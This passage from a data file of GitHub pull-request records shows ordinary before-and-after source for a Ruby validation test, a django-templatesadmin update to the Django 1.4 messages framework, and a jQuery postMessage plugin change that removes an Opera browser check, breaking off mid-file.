@record.semantic_attributes['login'].get('required')\n  end\n\n  def test_validation_hook\n    @record.expects(:validate_predicates)\n    @record.valid?\n  end\n\n  def test_validation_errors\n    assert !@record.valid?\n    assert @record.errors[:login]\n    assert_equal ['is required.'], @record.errors[:login]\n  end\n\n  def test_validate_on_default\n    assert_equal :both, @record.semantic_attributes['login'].get('required').validate_on\n  end\n\n  ##\n  ## attr_valid?\n  ##\n\n  def test_attribute_valid?\n    assert !@record.login_valid?\n    @record.login = \"foo\"\n    assert @record.login_valid?\n  end\n\n  def test_attribute_valid_with_conditional_validation\n    assert !@record.login_valid?\n    @record.stubs(:validate_predicate?).returns(false)\n    assert @record.login_valid?\n  end\n\n  ##\n  ## validate_predicate?\n  ##\n\n  def test_validate_predicate_with_validate_if_symbol\n    @record.stubs(:no).returns(false)\n    @record.stubs(:yes).returns(true)\n\n    assert @record.send(:validate_predicate?, @login_required)\n\n    @record.semantic_attributes['login'].get('required').validate_if = :no\n    assert !@record.send(:validate_predicate?, @login_required)\n\n    @record.semantic_attributes['login'].get('required').validate_if = :yes\n    assert @record.send(:validate_predicate?, @login_required)\n  end\n\n  def test_validate_predicate_with_validate_if_proc\n    assert @record.send(:validate_predicate?, @login_required)\n\n    @record.semantic_attributes['login'].get('required').validate_if = proc {false}\n    assert !@record.send(:validate_predicate?, @login_required)\n\n    @record.semantic_attributes['login'].get('required').validate_if = proc {true}\n    assert @record.send(:validate_predicate?, @login_required)\n  end\n\n  def test_validate_predicate_with_validate_on_create\n    @record = users(:george)\n    @record.login = nil\n\n    # test assumptions\n    assert !@record.new_record?\n    assert @record.send(:validate_predicate?, @login_required)\n\n    # the test\n    @record.semantic_attributes['login'].get('required').validate_on = :create\n    assert !@record.send(:validate_predicate?, @login_required)\n  end\n\n  def test_validate_predicate_with_validate_on_update\n    # test assumptions\n    assert @record.new_record?\n    assert @record.send(:validate_predicate?, @login_required)\n\n    # the test\n    @record.semantic_attributes['login'].get('required').validate_on = :update\n    assert !@record.send(:validate_predicate?, @login_required)\n  end\n\n  ##\n  ## :or_empty\n  ##\n\n  def test_allow_empty\n    User.stub_semantics_with(:login => {:number => {:or_empty => true}})\n\n    # empty values should skip the validate method\n    predicate = @record.semantic_attributes['login'].get('number')\n    predicate.expects(:validate).never\n\n    [nil, ''].each do |empty_value|\n      @record.login = empty_value\n      assert @record.valid?\n    end\n  end\n\n  def test_disallow_empty\n    User.stub_semantics_with(:login => {:number => {:or_empty => false}})\n\n    # empty values should skip the validate method\n    predicate = @record.semantic_attributes['login'].get('number')\n    predicate.expects(:validate).never\n\n    [nil, ''].each do |empty_value|\n      @record.login = empty_value\n      assert !@record.valid?\n      assert @record.errors[:login]\n    end\n  end\nend\n"}}
{"repo": "bartTC/django-templatesadmin", "pr_number": 13, "title": "Django 1.4 compatibility", "state": "open", "merged_at": null, "additions": 15, "deletions": 16, "files_changed": ["templatesadmin/views.py"], "files_before": {"templatesadmin/views.py": "import os\nimport codecs\nfrom datetime import datetime\nfrom stat import ST_MTIME, ST_CTIME\nfrom re import search\n\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.template.loaders.app_directories import app_template_dirs\nfrom django.utils.translation import ugettext as _\nfrom django.views.decorators.cache import never_cache\n\nfrom templatesadmin.forms import TemplateForm\nfrom templatesadmin import TemplatesAdminException\n\n# Default settings that may be overriden by global settings (settings.py)\nTEMPLATESADMIN_VALID_FILE_EXTENSIONS = getattr(\n    settings,\n    'TEMPLATESADMIN_VALID_FILE_EXTENSIONS',\n    ('html', 'htm', 'txt', 'css', 'backup',)\n)\n\nTEMPLATESADMIN_GROUP = getattr(\n    settings,\n    'TEMPLATESADMIN_GROUP',\n    'TemplateAdmins'\n)\n\nTEMPLATESADMIN_EDITHOOKS = getattr(\n    settings,\n    'TEMPLATESADMIN_EDITHOOKS',\n    ('templatesadmin.edithooks.dotbackupfiles.DotBackupFilesHook', )\n)\n\nTEMPLATESADMIN_HIDE_READONLY = getattr(\n    settings,\n    'TEMPLATESADMIN_HIDE_READONLY',\n    False\n)\n\nif str == type(TEMPLATESADMIN_EDITHOOKS):\n    TEMPLATESADMIN_EDITHOOKS = (TEMPLATESADMIN_EDITHOOKS,)\n\n_hooks = []\n\nfor path in TEMPLATESADMIN_EDITHOOKS:\n    # inspired by django.template.context.get_standard_processors\n    i = path.rfind('.')\n    module, attr = path[:i], path[i+1:]\n    try:\n        mod = __import__(module, {}, {}, [attr])\n    except ImportError, e:\n        raise ImproperlyConfigured('Error importing edithook module %s: \"%s\"' % (module, e))\n    try:\n        func = getattr(mod, attr)\n    except AttributeError:\n        raise ImproperlyConfigured('Module \"%s\" does not define a \"%s\" callable request processor' % (module, attr))\n\n    _hooks.append(func)\n\nTEMPLATESADMIN_EDITHOOKS = tuple(_hooks)\n\n_fixpath = lambda path: os.path.abspath(os.path.normpath(path))\n\nTEMPLATESADMIN_TEMPLATE_DIRS = getattr(\n    settings,\n    'TEMPLATESADMIN_TEMPLATE_DIRS', [\n        d for d in list(settings.TEMPLATE_DIRS) + \\\n        list(app_template_dirs) if os.path.isdir(d)\n    ]\n)\n\nTEMPLATESADMIN_TEMPLATE_DIRS = [_fixpath(dir) for dir in TEMPLATESADMIN_TEMPLATE_DIRS]\n\ndef user_in_templatesadmin_group(user):\n    try:\n        user.groups.get(name=TEMPLATESADMIN_GROUP)\n        return True\n    except ObjectDoesNotExist:\n        return False\n\n@never_cache\n@user_passes_test(lambda u: user_in_templatesadmin_group(u))\n@login_required\ndef listing(request,\n             template_name='templatesadmin/overview.html',\n             available_template_dirs=TEMPLATESADMIN_TEMPLATE_DIRS):\n\n    template_dict = []\n    for templatedir in available_template_dirs:\n        for root, dirs, files in os.walk(templatedir):\n            for f in sorted([f for f in files if f.rsplit('.')[-1] \\\n                      in TEMPLATESADMIN_VALID_FILE_EXTENSIONS]):\n                full_path = os.path.join(root, f)\n                l = {\n                     'templatedir': templatedir,\n                     'rootpath': root,\n                     'abspath': full_path,\n                     'modified': datetime.fromtimestamp(os.stat(full_path)[ST_MTIME]),\n                     'created': datetime.fromtimestamp(os.stat(full_path)[ST_CTIME]),\n                     'writeable': os.access(full_path, os.W_OK)\n                }\n\n                # Do not fetch non-writeable templates if settings set.\n                if (TEMPLATESADMIN_HIDE_READONLY == True and \\\n                    l['writeable'] == True) or \\\n                   TEMPLATESADMIN_HIDE_READONLY == False:\n                    try:\n                        template_dict += (l,)\n                    except KeyError:\n                        template_dict = (l,)\n\n    template_context = {\n        'messages': request.user.get_and_delete_messages(),\n        'template_dict': template_dict,\n        'ADMIN_MEDIA_PREFIX': settings.ADMIN_MEDIA_PREFIX,\n    }\n\n    return render_to_response(template_name, template_context,\n                              RequestContext(request))\n@never_cache\n@user_passes_test(lambda u: user_in_templatesadmin_group(u))\n@login_required\ndef modify(request,\n           path,\n           template_name='templatesadmin/edit.html',\n           base_form=TemplateForm,\n           available_template_dirs=TEMPLATESADMIN_TEMPLATE_DIRS):\n\n    template_path = _fixpath(path)\n\n    # Check if file is within template-dirs\n    if not any([template_path.startswith(templatedir) for templatedir in available_template_dirs]):\n        request.user.message_set.create(message=_('Sorry, that file is not available for editing.'))\n        return HttpResponseRedirect(reverse('templatesadmin-overview'))\n\n    if request.method == 'POST':\n        formclass = base_form\n        for hook in TEMPLATESADMIN_EDITHOOKS:\n            formclass.base_fields.update(hook.contribute_to_form(template_path))\n\n        form = formclass(request.POST)\n        if form.is_valid():\n            content = form.cleaned_data['content']\n\n            try:\n                for hook in TEMPLATESADMIN_EDITHOOKS:\n                    pre_save_notice = hook.pre_save(request, form, template_path)\n                    if pre_save_notice:\n                        request.user.message_set.create(message=pre_save_notice)\n            except TemplatesAdminException, e:\n                request.user.message_set.create(message=e.message)\n                return HttpResponseRedirect(request.build_absolute_uri())\n\n            # Save the template\n            try:\n                f = open(template_path, 'r')\n                file_content = f.read()\n                f.close()\n\n                # browser tend to strip newlines from <textarea/>s before\n                # HTTP-POSTing: re-insert them if neccessary\n\n                # content is in dos-style lineending, will be converted in next step\n                if (file_content[-1] == '\\n' or file_content[:-2] == '\\r\\n') \\\n                   and content[:-2] != '\\r\\n':\n                    content = u\"%s\\r\\n\" % content\n\n                # Template is saved in unix-style, save in unix style.\n                if None == search(\"\\r\\n\", file_content):\n                    content = content.replace(\"\\r\\n\", \"\\n\")\n\n                f = codecs.open(template_path, 'w', 'utf-8')\n                f.write(content)\n                f.close()\n            except IOError, e:\n                request.user.message_set.create(\n                    message=_('Template \"%(path)s\" has not been saved! Reason: %(errormsg)s' % {\n                        'path': path,\n                        'errormsg': e\n                    })\n                )\n                return HttpResponseRedirect(request.build_absolute_uri())\n\n            try:\n                for hook in TEMPLATESADMIN_EDITHOOKS:\n                    post_save_notice = hook.post_save(request, form, template_path)\n                    if post_save_notice:\n                        request.user.message_set.create(message=post_save_notice)\n            except TemplatesAdminException, e:\n                request.user.message_set.create(message=e.message)\n                return HttpResponseRedirect(request.build_absolute_uri())\n\n            request.user.message_set.create(\n                message=_('Template \"%s\" was saved successfully.' % path)\n            )\n            return HttpResponseRedirect(reverse('templatesadmin-overview'))\n    else:\n        template_file = codecs.open(template_path, 'r', 'utf-8').read()\n\n        formclass = TemplateForm\n        for hook in TEMPLATESADMIN_EDITHOOKS:\n            formclass.base_fields.update(hook.contribute_to_form(template_path))\n\n        form = formclass(\n            initial={'content': template_file}\n        )\n\n    template_context = {\n        'messages': request.user.get_and_delete_messages(),\n        'form': form,\n        'short_path': path,\n        'template_path': path,\n        'template_writeable': os.access(template_path, os.W_OK),\n        'ADMIN_MEDIA_PREFIX': settings.ADMIN_MEDIA_PREFIX,\n    }\n\n    return render_to_response(template_name, template_context,\n                              RequestContext(request))\n\n# For backwards compatibility and secure out-of-the-box views\noverview = user_passes_test(lambda u: user_in_templatesadmin_group(u))(login_required(listing))\nedit = user_passes_test(lambda u: user_in_templatesadmin_group(u))(login_required(modify))\n"}, "files_after": {"templatesadmin/views.py": "import os\nimport codecs\nfrom datetime import datetime\nfrom stat import ST_MTIME, ST_CTIME\nfrom re import search\n\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.contrib import messages\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.template.loaders.app_directories import app_template_dirs\nfrom django.utils.translation import ugettext as _\nfrom django.views.decorators.cache import never_cache\n\nfrom templatesadmin.forms import TemplateForm\nfrom templatesadmin import TemplatesAdminException\n\n# Default settings that may be overriden by global settings (settings.py)\nTEMPLATESADMIN_VALID_FILE_EXTENSIONS = getattr(\n    settings,\n    'TEMPLATESADMIN_VALID_FILE_EXTENSIONS',\n    ('html', 'htm', 'txt', 'css', 'backup',)\n)\n\nTEMPLATESADMIN_GROUP = getattr(\n    settings,\n    'TEMPLATESADMIN_GROUP',\n    'TemplateAdmins'\n)\n\nTEMPLATESADMIN_EDITHOOKS = getattr(\n    settings,\n    'TEMPLATESADMIN_EDITHOOKS',\n    ('templatesadmin.edithooks.dotbackupfiles.DotBackupFilesHook', )\n)\n\nTEMPLATESADMIN_HIDE_READONLY = getattr(\n    settings,\n    'TEMPLATESADMIN_HIDE_READONLY',\n    False\n)\n\nif str == type(TEMPLATESADMIN_EDITHOOKS):\n    TEMPLATESADMIN_EDITHOOKS = (TEMPLATESADMIN_EDITHOOKS,)\n\n_hooks = []\n\nfor path in TEMPLATESADMIN_EDITHOOKS:\n    # inspired by django.template.context.get_standard_processors\n    i = path.rfind('.')\n    module, attr = path[:i], path[i+1:]\n    try:\n        mod = __import__(module, {}, {}, [attr])\n    except ImportError, e:\n        raise ImproperlyConfigured('Error importing edithook module %s: \"%s\"' % (module, e))\n    try:\n        func = getattr(mod, attr)\n    except AttributeError:\n        raise ImproperlyConfigured('Module \"%s\" does not define a \"%s\" callable request processor' % (module, attr))\n\n    _hooks.append(func)\n\nTEMPLATESADMIN_EDITHOOKS = tuple(_hooks)\n\n_fixpath = lambda path: os.path.abspath(os.path.normpath(path))\n\nTEMPLATESADMIN_TEMPLATE_DIRS = getattr(\n    settings,\n    'TEMPLATESADMIN_TEMPLATE_DIRS', [\n        d for d in list(settings.TEMPLATE_DIRS) + \\\n        list(app_template_dirs) if os.path.isdir(d)\n    ]\n)\n\nTEMPLATESADMIN_TEMPLATE_DIRS = [_fixpath(dir) for dir in TEMPLATESADMIN_TEMPLATE_DIRS]\n\ndef user_in_templatesadmin_group(user):\n    try:\n        user.groups.get(name=TEMPLATESADMIN_GROUP)\n        return True\n    except ObjectDoesNotExist:\n        return False\n\n@never_cache\n@user_passes_test(lambda u: user_in_templatesadmin_group(u))\n@login_required\ndef listing(request,\n             template_name='templatesadmin/overview.html',\n             available_template_dirs=TEMPLATESADMIN_TEMPLATE_DIRS):\n\n    template_dict = []\n    for templatedir in available_template_dirs:\n        for root, dirs, files in os.walk(templatedir):\n            for f in sorted([f for f in files if f.rsplit('.')[-1] \\\n                      in TEMPLATESADMIN_VALID_FILE_EXTENSIONS]):\n                full_path = os.path.join(root, f)\n                l = {\n                     'templatedir': templatedir,\n                     'rootpath': root,\n                     'abspath': full_path,\n                     'modified': datetime.fromtimestamp(os.stat(full_path)[ST_MTIME]),\n                     'created': datetime.fromtimestamp(os.stat(full_path)[ST_CTIME]),\n                     'writeable': os.access(full_path, os.W_OK)\n                }\n\n                # Do not fetch non-writeable templates if settings set.\n                if (TEMPLATESADMIN_HIDE_READONLY == True and \\\n                    l['writeable'] == True) or \\\n                   TEMPLATESADMIN_HIDE_READONLY == False:\n                    try:\n                        template_dict += (l,)\n                    except KeyError:\n                        template_dict = (l,)\n\n    template_context = {\n        'messages': messages.get_messages(request),\n        'template_dict': template_dict,\n        'ADMIN_MEDIA_PREFIX': settings.STATIC_URL + '/admin/',\n    }\n\n    return render_to_response(template_name, template_context,\n                              RequestContext(request))\n@never_cache\n@user_passes_test(lambda u: user_in_templatesadmin_group(u))\n@login_required\ndef modify(request,\n           path,\n           template_name='templatesadmin/edit.html',\n           base_form=TemplateForm,\n           available_template_dirs=TEMPLATESADMIN_TEMPLATE_DIRS):\n\n    template_path = _fixpath(path)\n\n    # Check if file is within template-dirs\n    if not any([template_path.startswith(templatedir) for templatedir in available_template_dirs]):\n        request.user.message_set.create(message=_('Sorry, that file is not available for editing.'))\n        return HttpResponseRedirect(reverse('templatesadmin-overview'))\n\n    if request.method == 'POST':\n        formclass = base_form\n        for hook in TEMPLATESADMIN_EDITHOOKS:\n            formclass.base_fields.update(hook.contribute_to_form(template_path))\n\n        form = formclass(request.POST)\n        if form.is_valid():\n            content = form.cleaned_data['content']\n\n            try:\n                for hook in TEMPLATESADMIN_EDITHOOKS:\n                    pre_save_notice = hook.pre_save(request, form, template_path)\n                    if pre_save_notice:\n                        messages.add_message(request, messages.INFO, pre_save_notice)\n            except TemplatesAdminException, e:\n                messages.add_message(request, messages.ERROR, e.message)\n            except TemplatesAdminException, e:\n                return HttpResponseRedirect(request.build_absolute_uri())\n\n            # Save the template\n            try:\n                f = open(template_path, 'r')\n                file_content = f.read()\n                f.close()\n\n                # browser tend to strip newlines from <textarea/>s before\n                # HTTP-POSTing: re-insert them if neccessary\n\n                # content is in dos-style lineending, will be converted in next step\n                if (file_content[-1] == '\\n' or file_content[:-2] == '\\r\\n') \\\n                   and content[:-2] != '\\r\\n':\n                    content = u\"%s\\r\\n\" % content\n\n                # Template is saved in unix-style, save in unix style.\n                if None == search(\"\\r\\n\", file_content):\n                    content = content.replace(\"\\r\\n\", \"\\n\")\n\n                f = codecs.open(template_path, 'w', 'utf-8')\n                f.write(content)\n                f.close()\n            except IOError, e:\n                messages.add_message(request, messages.ERROR, ('Template \"%(path)s\" has not been saved! Reason: %(errormsg)s' % {\n                            'path': path,\n                            'errormsg': e\n                        })\n                )\n                return HttpResponseRedirect(request.build_absolute_uri())\n\n            try:\n                for hook in TEMPLATESADMIN_EDITHOOKS:\n                    post_save_notice = hook.post_save(request, form, template_path)\n                    if post_save_notice:\n                        messages.add_message(request, messages.INFO, post_save_notice)\n            except TemplatesAdminException, e:\n                messages.add_message(request, messages.ERROR, e.message)\n                return HttpResponseRedirect(request.build_absolute_uri())\n\n            messages.add_message(request, messages.INFO, _('Template \"%s\" was saved successfully.' % path))\n            return HttpResponseRedirect(reverse('templatesadmin-overview'))\n    else:\n        template_file = codecs.open(template_path, 'r', 'utf-8').read()\n\n        formclass = TemplateForm\n        for hook in TEMPLATESADMIN_EDITHOOKS:\n            formclass.base_fields.update(hook.contribute_to_form(template_path))\n\n        form = formclass(\n            initial={'content': template_file}\n        )\n\n    template_context = {\n        'messages': messages.get_messages(request),\n        'form': form,\n        'short_path': path,\n        'template_path': path,\n        'template_writeable': os.access(template_path, os.W_OK),\n        'ADMIN_MEDIA_PREFIX': settings.STATIC_URL + '/admin/',\n    }\n\n    return render_to_response(template_name, template_context,\n                              RequestContext(request))\n\n# For backwards compatibility and secure out-of-the-box views\noverview = user_passes_test(lambda u: user_in_templatesadmin_group(u))(login_required(listing))\nedit = user_passes_test(lambda u: user_in_templatesadmin_group(u))(login_required(modify))\n"}}
{"repo": "cowboy/jquery-postmessage", "pr_number": 4, "title": "Remove Opera sniff", "state": "open", "merged_at": null, "additions": 2, "deletions": 3, "files_changed": ["jquery.ba-postmessage.js", "jquery.ba-postmessage.min.js"], "files_before": {"jquery.ba-postmessage.js": "/*!\n * jQuery postMessage - v0.5 - 9/11/2009\n * http://benalman.com/projects/jquery-postmessage-plugin/\n * \n * Copyright (c) 2009 \"Cowboy\" Ben Alman\n * Dual licensed under the MIT and GPL licenses.\n * http://benalman.com/about/license/\n */\n\n// Script: jQuery postMessage: Cross-domain scripting goodness\n//\n// *Version: 0.5, Last updated: 9/11/2009*\n// \n// Project Home - http://benalman.com/projects/jquery-postmessage-plugin/\n// GitHub       - http://github.com/cowboy/jquery-postmessage/\n// Source       - http://github.com/cowboy/jquery-postmessage/raw/master/jquery.ba-postmessage.js\n// (Minified)   - http://github.com/cowboy/jquery-postmessage/raw/master/jquery.ba-postmessage.min.js (0.9kb)\n// \n// About: License\n// \n// Copyright (c) 2009 \"Cowboy\" Ben Alman,\n// Dual licensed under the MIT and GPL licenses.\n// http://benalman.com/about/license/\n// \n// About: Examples\n// \n// This working example, complete with fully commented code, illustrates one\n// way in which this plugin can be used.\n// \n// Iframe resizing - http://benalman.com/code/projects/jquery-postmessage/examples/iframe/\n// \n// About: Support and Testing\n// \n// Information about what version or versions of jQuery this plugin has been\n// tested with and what browsers it has been tested in.\n// \n// jQuery Versions - 1.3.2\n// Browsers Tested - Internet Explorer 6-8, Firefox 3, Safari 3-4, Chrome, Opera 9.\n// \n// About: Release History\n// \n// 0.5 - (9/11/2009) Improved cache-busting\n// 0.4 - (8/25/2009) Initial release\n\n(function($){\n  '$:nomunge'; // Used by YUI compressor.\n  \n  // A few vars used in non-awesome browsers.\n  var interval_id,\n    last_hash,\n    cache_bust = 1,\n    \n    // A var used in awesome browsers.\n    rm_callback,\n    \n    // A few convenient shortcuts.\n    window = this,\n    FALSE = !1,\n    \n    // Reused internal strings.\n    postMessage = 'postMessage',\n    addEventListener = 'addEventListener',\n    \n    p_receiveMessage,\n    \n    // I couldn't get window.postMessage to actually work in Opera 9.64!\n    has_postMessage = window[postMessage] && !$.browser.opera;\n  \n  // Method: jQuery.postMessage\n  // \n  // This method will call window.postMessage if available, setting the\n  // targetOrigin parameter to the base of the target_url parameter for maximum\n  // security in browsers that support it. If window.postMessage is not available,\n  // the target window's location.hash will be used to pass the message. If an\n  // object is passed as the message param, it will be serialized into a string\n  // using the jQuery.param method.\n  // \n  // Usage:\n  // \n  // > jQuery.postMessage( message, target_url [, target ] );\n  // \n  // Arguments:\n  // \n  //  message - (String) A message to be passed to the other frame.\n  //  message - (Object) An object to be serialized into a params string, using\n  //    the jQuery.param method.\n  //  target_url - (String) The URL of the other frame this window is\n  //    attempting to communicate with. This must be the exact URL (including\n  //    any query string) of the other window for this script to work in\n  //    browsers that don't support window.postMessage.\n  //  target - (Object) A reference to the other frame this window is\n  //    attempting to communicate with. If omitted, defaults to `parent`.\n  // \n  // Returns:\n  // \n  //  Nothing.\n  \n  $[postMessage] = function( message, target_url, target ) {\n    if ( !target_url ) { return; }\n    \n    // Serialize the message if not a string. Note that this is the only real\n    // jQuery dependency for this script. If removed, this script could be\n    // written as very basic JavaScript.\n    message = typeof message === 'string' ? message : $.param( message );\n    \n    // Default to parent if unspecified.\n    target = target || parent;\n    \n    if ( has_postMessage ) {\n      // The browser supports window.postMessage, so call it with a targetOrigin\n      // set appropriately, based on the target_url parameter.\n      target[postMessage]( message, target_url.replace( /([^:]+:\\/\\/[^\\/]+).*/, '$1' ) );\n      \n    } else if ( target_url ) {\n      // The browser does not support window.postMessage, so set the location\n      // of the target to target_url#message. A bit ugly, but it works! A cache\n      // bust parameter is added to ensure that repeat messages trigger the\n      // callback.\n      target.location = target_url.replace( /#.*$/, '' ) + '#' + (+new Date) + (cache_bust++) + '&' + message;\n    }\n  };\n  \n  // Method: jQuery.receiveMessage\n  // \n  // Register a single callback for either a window.postMessage call, if\n  // supported, or if unsupported, for any change in the current window\n  // location.hash. If window.postMessage is supported and source_origin is\n  // specified, the source window will be checked against this for maximum\n  // security. If window.postMessage is unsupported, a polling loop will be\n  // started to watch for changes to the location.hash.\n  // \n  // Note that for simplicity's sake, only a single callback can be registered\n  // at one time. Passing no params will unbind this event (or stop the polling\n  // loop), and calling this method a second time with another callback will\n  // unbind the event (or stop the polling loop) first, before binding the new\n  // callback.\n  // \n  // Also note that if window.postMessage is available, the optional\n  // source_origin param will be used to test the event.origin property. From\n  // the MDC window.postMessage docs: This string is the concatenation of the\n  // protocol and \"://\", the host name if one exists, and \":\" followed by a port\n  // number if a port is present and differs from the default port for the given\n  // protocol. Examples of typical origins are https://example.org (implying\n  // port 443), http://example.net (implying port 80), and http://example.com:8080.\n  // \n  // Usage:\n  // \n  // > jQuery.receiveMessage( callback [, source_origin ] [, delay ] );\n  // \n  // Arguments:\n  // \n  //  callback - (Function) This callback will execute whenever a <jQuery.postMessage>\n  //    message is received, provided the source_origin matches. If callback is\n  //    omitted, any existing receiveMessage event bind or polling loop will be\n  //    canceled.\n  //  source_origin - (String) If window.postMessage is available and this value\n  //    is not equal to the event.origin property, the callback will not be\n  //    called.\n  //  source_origin - (Function) If window.postMessage is available and this\n  //    function returns false when passed the event.origin property, the\n  //    callback will not be called.\n  //  delay - (Number) An optional zero-or-greater delay in milliseconds at\n  //    which the polling loop will execute (for browser that don't support\n  //    window.postMessage). If omitted, defaults to 100.\n  // \n  // Returns:\n  // \n  //  Nothing!\n  \n  $.receiveMessage = p_receiveMessage = function( callback, source_origin, delay ) {\n    if ( has_postMessage ) {\n      // Since the browser supports window.postMessage, the callback will be\n      // bound to the actual event associated with window.postMessage.\n      \n      if ( callback ) {\n        // Unbind an existing callback if it exists.\n        rm_callback && p_receiveMessage();\n        \n        // Bind the callback. A reference to the callback is stored for ease of\n        // unbinding.\n        rm_callback = function(e) {\n          if ( ( typeof source_origin === 'string' && e.origin !== source_origin )\n            || ( $.isFunction( source_origin ) && source_origin( e.origin ) === FALSE ) ) {\n            return FALSE;\n          }\n          callback( e );\n        };\n      }\n      \n      if ( window[addEventListener] ) {\n        window[ callback ? addEventListener : 'removeEventListener' ]( 'message', rm_callback, FALSE );\n      } else {\n        window[ callback ? 'attachEvent' : 'detachEvent' ]( 'onmessage', rm_callback );\n      }\n      \n    } else {\n      // Since the browser sucks, a polling loop will be started, and the\n      // callback will be called whenever the location.hash changes.\n      \n      interval_id && clearInterval( interval_id );\n      interval_id = null;\n      \n      if ( callback ) {\n        delay = typeof source_origin === 'number'\n          ? source_origin\n          : typeof delay === 'number'\n            ? delay\n            : 100;\n        \n        interval_id = setInterval(function(){\n          var hash = document.location.hash,\n            re = /^#?\\d+&/;\n          if ( hash !== last_hash && re.test( hash ) ) {\n            last_hash = hash;\n            callback({ data: hash.replace( re, '' ) });\n          }\n        }, delay );\n      }\n    }\n  };\n  \n})(jQuery);\n", "jquery.ba-postmessage.min.js": "/*\n * jQuery postMessage - v0.5 - 9/11/2009\n * http://benalman.com/projects/jquery-postmessage-plugin/\n * \n * Copyright (c) 2009 \"Cowboy\" Ben Alman\n * Dual licensed under the MIT and GPL licenses.\n * http://benalman.com/about/license/\n */\n(function($){var g,d,j=1,a,b=this,f=!1,h=\"postMessage\",e=\"addEventListener\",c,i=b[h]&&!$.browser.opera;$[h]=function(k,l,m){if(!l){return}k=typeof k===\"string\"?k:$.param(k);m=m||parent;if(i){m[h](k,l.replace(/([^:]+:\\/\\/[^\\/]+).*/,\"$1\"))}else{if(l){m.location=l.replace(/#.*$/,\"\")+\"#\"+(+new Date)+(j++)+\"&\"+k}}};$.receiveMessage=c=function(l,m,k){if(i){if(l){a&&c();a=function(n){if((typeof m===\"string\"&&n.origin!==m)||($.isFunction(m)&&m(n.origin)===f)){return f}l(n)}}if(b[e]){b[l?e:\"removeEventListener\"](\"message\",a,f)}else{b[l?\"attachEvent\":\"detachEvent\"](\"onmessage\",a)}}else{g&&clearInterval(g);g=null;if(l){k=typeof m===\"number\"?m:typeof k===\"number\"?k:100;g=setInterval(function(){var o=document.location.hash,n=/^#?\\d+&/;if(o!==d&&n.test(o)){d=o;l({data:o.replace(n,\"\")})}},k)}}}})(jQuery);"}, "files_after": {"jquery.ba-postmessage.js": "/*!\n * jQuery postMessage - v0.5 - 9/11/2009\n * http://benalman.com/projects/jquery-postmessage-plugin/\n * \n * Copyright (c) 2009 \"Cowboy\" Ben Alman\n * Dual licensed under the MIT and GPL licenses.\n * http://benalman.com/about/license/\n */\n\n// Script: jQuery postMessage: Cross-domain scripting goodness\n//\n// *Version: 0.5, Last updated: 9/11/2009*\n// \n// Project Home - http://benalman.com/projects/jquery-postmessage-plugin/\n// GitHub       - http://github.com/cowboy/jquery-postmessage/\n// Source       - http://github.com/cowboy/jquery-postmessage/raw/master/jquery.ba-postmessage.js\n// (Minified)   - http://github.com/cowboy/jquery-postmessage/raw/master/jquery.ba-postmessage.min.js (0.9kb)\n// \n// About: License\n// \n// Copyright (c) 2009 \"Cowboy\" Ben Alman,\n// Dual licensed under the MIT and GPL licenses.\n// http://benalman.com/about/license/\n// \n// About: Examples\n// \n// This working example, complete with fully commented code, illustrates one\n// way in which this plugin can be used.\n// \n// Iframe resizing - http://benalman.com/code/projects/jquery-postmessage/examples/iframe/\n// \n// About: Support and Testing\n// \n// Information about what version or versions of jQuery this plugin has been\n// tested with and what browsers it has been tested in.\n// \n// jQuery Versions - 1.3.2\n// Browsers Tested - Internet Explorer 6-8, Firefox 3, Safari 3-4, Chrome, Opera 9.\n// \n// About: Release History\n// \n// 0.5 - (9/11/2009) Improved cache-busting\n// 0.4 - (8/25/2009) Initial release\n\n(function($){\n  '$:nomunge'; // Used by YUI compressor.\n  \n  // A few vars used in non-awesome browsers.\n  var interval_id,\n    last_hash,\n    cache_bust = 1,\n    \n    // A var used in awesome browsers.\n    rm_callback,\n    \n    // A few convenient shortcuts.\n    window = this,\n    FALSE = !1,\n    \n    // Reused internal strings.\n    postMessage = 'postMessage',\n    addEventListener = 'addEventListener',\n    \n    p_receiveMessage,\n    \n    has_postMessage = window[postMessage];\n  \n  // Method: jQuery.postMessage\n  // \n  // This method will call window.postMessage if available, setting the\n  // targetOrigin parameter to the base of the target_url parameter for maximum\n  // security in browsers that support it. If window.postMessage is not available,\n  // the target window's location.hash will be used to pass the message. If an\n  // object is passed as the message param, it will be serialized into a string\n  // using the jQuery.param method.\n  // \n  // Usage:\n  // \n  // > jQuery.postMessage( message, target_url [, target ] );\n  // \n  // Arguments:\n  // \n  //  message - (String) A message to be passed to the other frame.\n  //  message - (Object) An object to be serialized into a params string, using\n  //    the jQuery.param method.\n  //  target_url - (String) The URL of the other frame this window is\n  //    attempting to communicate with. This must be the exact URL (including\n  //    any query string) of the other window for this script to work in\n  //    browsers that don't support window.postMessage.\n  //  target - (Object) A reference to the other frame this window is\n  //    attempting to communicate with. If omitted, defaults to `parent`.\n  // \n  // Returns:\n  // \n  //  Nothing.\n  \n  $[postMessage] = function( message, target_url, target ) {\n    if ( !target_url ) { return; }\n    \n    // Serialize the message if not a string. Note that this is the only real\n    // jQuery dependency for this script. If removed, this script could be\n    // written as very basic JavaScript.\n    message = typeof message === 'string' ? message : $.param( message );\n    \n    // Default to parent if unspecified.\n    target = target || parent;\n    \n    if ( has_postMessage ) {\n      // The browser supports window.postMessage, so call it with a targetOrigin\n      // set appropriately, based on the target_url parameter.\n      target[postMessage]( message, target_url.replace( /([^:]+:\\/\\/[^\\/]+).*/, '$1' ) );\n      \n    } else if ( target_url ) {\n      // The browser does not support window.postMessage, so set the location\n      // of the target to target_url#message. A bit ugly, but it works! A cache\n      // bust parameter is added to ensure that repeat messages trigger the\n      // callback.\n      target.location = target_url.replace( /#.*$/, '' ) + '#' + (+new Date) + (cache_bust++) + '&' + message;\n    }\n  };\n  \n  // Method: jQuery.receiveMessage\n  // \n  // Register a single callback for either a window.postMessage call, if\n  // supported, or if unsupported, for any change in the current window\n  // location.hash. If window.postMessage is supported and source_origin is\n  // specified, the source window will be checked against this for maximum\n  // security. If window.postMessage is unsupported, a polling loop will be\n  // started to watch for changes to the location.hash.\n  // \n  // Note that for 